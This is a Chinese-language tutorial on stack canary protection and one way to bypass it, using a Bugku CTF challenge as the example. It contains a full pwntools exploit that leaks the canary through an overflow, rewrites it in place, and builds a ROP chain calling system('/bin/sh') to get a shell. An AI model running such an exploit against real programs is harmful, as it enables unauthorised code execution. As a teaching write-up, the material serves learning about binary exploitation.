canary保护简介

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

当canary被打开,那么程序在最开始会把fs寄存器里面的值放进栈底的某个地方(通常32位程序是rbp-4,64位是rbp-8),当栈在使用完毕之前,会对这个地方的值进行异或检测,如果这个值被修改,那么程序就会报错。

    High    Address |                 |            +-----------------+            | args            |            +-----------------+            | return address  |            +-----------------+    rbp =>  | old ebp         |            +-----------------+  rbp-8 =>  | canary value    |            +-----------------+            | 局部变量        |    Low     |                 |    Address

我们知道,一般的栈溢出都是用gadget碎片进行攻击,也就意味着我们必须要溢出到返回地址的位置,那么栈底也会被覆盖,这样程序一定会报错,这样就达不到我们入侵的效果。

鉴于以上的原因,canary如今被广泛的用于栈保护的第一道防线。

那么如何绕过它呢?此处我们详细介绍一个绕过方式。

泄露canary地址字符泄露

经过刚才的介绍,我们已经知道了canary是程序中的一个值,那我们就可以通过泄露这个值的地址,然后在溢出时将栈底需要检测canary的那一块地址原封不动的写入canary,实现绕过的效果。

用bugku的例题canary – Bugku CTF

用ida打开,反编译得到

不难看出read函数有栈溢出漏洞,但是在最开始有一个v6 = __readfsqword(0x28u);这个就是canary防护的标志,其他开有canary防护的大差不差都有这种函数特征。

看看汇编代码,发现是将fs寄存器里的值放到了rbp-8的位置

再看看字符串,system和/bin/sh都有。

checksec一下,发现确实开了canary

那么这个时候就要先打印出canary的地址,然后再溢出,溢出的过程中把canary的地址给到rbp-8的位置以绕过防护

下面直接贴出exp

from pwn import*sh = process('./pwn4')#sh = remote(ip,port)context.log_level = 'debug'payload1 = b'a'*568      #rbp-8的位置sh.recvuntil(b"name(Within 36 Length):")sh.sendline(payload1)sh.recvuntil(b'a'*568 + b'\n')   #发送字符后会有回显,吸收掉这些回显canary = u64(b'\x00' + sh.recv(7))  #首先,因为地址排序是小端序的,canary地址没有问题,但是地址后面还需要加上一个'\x00'结尾,所以'\x00'必须遵循小端序加在开头的位置,然后才能把泄露的canary地址加上去,64位程序的canary的大小是8个字节,从0开始数,所以recv(7),32位程序的canary的大小是4个字节,从0开始数,应该recv(3)print(hex(canary))               #打印canary地址,进行验证sh.recvuntil(b'Please leave a message(Within 0x200 Length)')pop_rdi_ret = 0x0000000000400963system_addr = 0x400660binsh_addr = 0x0000000000601068payload2 = b'a' * 520 + p64(canary) + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)   #构造payloadsh.sendline(payload2)sh.interactive()

其他绕过方式

[(8条消息) pwn]ROP:三道题讲解花式绕过Canary栈保护_breezeO_o的博客-CSDN博客